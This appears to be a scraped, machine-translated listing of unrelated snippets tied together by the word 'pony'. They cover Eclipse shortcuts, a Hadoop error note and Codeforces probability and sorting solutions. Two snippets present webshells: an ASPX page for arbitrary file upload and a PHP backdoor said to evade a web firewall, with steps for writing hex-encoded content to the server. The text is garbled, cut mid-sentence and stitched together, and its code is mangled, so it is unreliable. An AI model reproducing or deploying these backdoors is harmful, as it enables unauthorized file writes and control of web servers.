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structure (more practical, there are n functions called this method, modified once done)Alt+shift+l extract Local variables (you can directly extract some magical numbers and strings into a variable, especially when multiple calls are made)Alt+shift+f change the local variable in class to a field variable (more useful function)Alt+shift+i Merge variables (this may be a bit inappropriate inline)ALT+SHIFT+V moving functions and variables (not commonly used)Alt+shift+z reconstruction of Regret med

Hadoop exception and handling Summary-01 (pony-original), hadoop-01 Test environment: Local: MyEclipse Cluster: Vmware 11 + 6 Centos 6.5 Hadoop version: 2.4.0 (configured as automatic HA) Test Background: After four normal tests of the MapReduce Program (hereinafter referred to as MapReduce), a new MR program is executed, and the console information of MyEclipse is stuck, I remotely connect to NameNode to view the system directory. At this time, I lo

When the Aspx page receives a file stream, it becomes a pony that supports uploading arbitrary files.Upload2.aspxUsing System;Using System. Collections. Generic;Using System. IO;Using System. Text;Using System. Web;Using System. Web. UI;Using System. Web. UI. WebControls;Public partial class upload2: System. Web. UI. Page{Protected void Page_Load (object sender, EventArgs e){If (Request. QueryString. Count> 0){String filename = Request. QueryString ["

Sharing of pony php bypass dongle DetectionDirectly run the Code: Analysis and Exploitation Overhead: Usage: Encode the written content with a url, such as Encoded as: % 3C % 3F % 70% 68% 70% 20% 70% 68% 70% 69% 6E % 66% 6F % 28% 29% 3B % 3F % 3E Remove % and get 3C3F70687020706870696E666F28293B3F3E. Then access the backdoor and change the POST content: A =/111.php B = 3C3F70687020706870696E666F28293B3F3E You can write content. Ov

Test instructions: A sieve has M faces, and then throws N times, seeking the maximum value of the expectation;Idea: The maximum value is 1 There are 1 kinds, 2 have 2n-1 species, 3 have 3n-2n species, so for M when there is MN-(m-1) n species, so each one of the probabilities, and then multiplied by the sum of this value can be.1#include 2#include 3#include 4#include 5#include 6 using namespacestd;7 8 intn,m;9 Ten intMain () One { ACin>>m>>N; - DoubleX=pow (1.0/m,n); - Doubleans=x; the

-];intnum[107][1 -];intprime[]={2,3,5,7, One, -, -, +, at, in, to,Panax Notoginseng, the, A, +, -, -};intstate[ -];voidPrint (intIintu) {if(i = =1) {printf("%d", Num[i][u]);return; } Print (I-1, Pre[i][u]);printf("%d", Num[i][u]);}intMain () { while( ~scanf("%d", n)) { for(inti =1; I scanf("%d", a[i]);memset(DP,0x3f,sizeof(DP));intINF = dp[0][0]; dp[0][0] =0;memset(State,0,sizeof(state)); for(inti =2; I -; i + +) for(intj =0; J -; J + +)if(I%prime[j] = =0) State[i] |= (1intTotal =1 -; for

Test instructionsAsk for a four-sided Fermat point.Analysis:Simulated annealing either timed out or WA, the data of this problem is not want to let random algorithm over. In fact, the four-sided Fermat point is very simple, if it is convex four-sided call horse point is the diagonal intersection, if the concave quadrilateral cost horse point is a concave point. However, the four point order given by the topic is indeterminate, so the convex hull must be obtained first.Code:POJ 3990//sep9#include

Link: codeforces 453 little pony and Summer Sun Celebration N nodes, m edges, and m rows are given a fixed edge. The last line indicates the number of times each node needs to enter is an odd or even number of times. Solution: Construct a structure that can start from an odd point (Unified forest processing), traverse the nodes that have not passed through each time, and trace back, every time you trace back, you need to judge whether the point you ju

Question Link Question: I threw a dice on the m Plane n times and expected the maximum value. Idea: mathematical expectation. The formula for discretization is E (x) = x1 * P (X1) + x2 * P (X2) + ...... + Xn * P (Xn) P (xi) indicates the number of all cases where the maximum value is XI/The total number of cases is m ^ N, throwing n times, the number of all cases where the maximum value is XI should be Xi ^ N, but the maximum value is not XI and cannot exceed Xi, so subtract the maximum value is

Codeforces Round #259 (Div. 2) B. Little Pony and Sort by Shift, Link: http://codeforces.com/contest/454/problem/ B Problem-solving ideas: we only need to judge a few a [I] # Include

Codeforces #259 DIV2 C question Little Pony and Expected Maximum (exclusion + Rapid power + formula derivation ), Address: http://codeforces.com/contest/454/problem/C According to the principle of rejection, a formula can be provided: Expected P = (m ^ n-(m-1) ^ n) * m + (m-1) ^ n-(m-2) ^ n) * m-1) + ....... + (1 ^ n-0 ^ n) * 1)/m ^ n; This formula can be easily introduced .. The power from 1 to m can be obtained using a fast power. But one problem is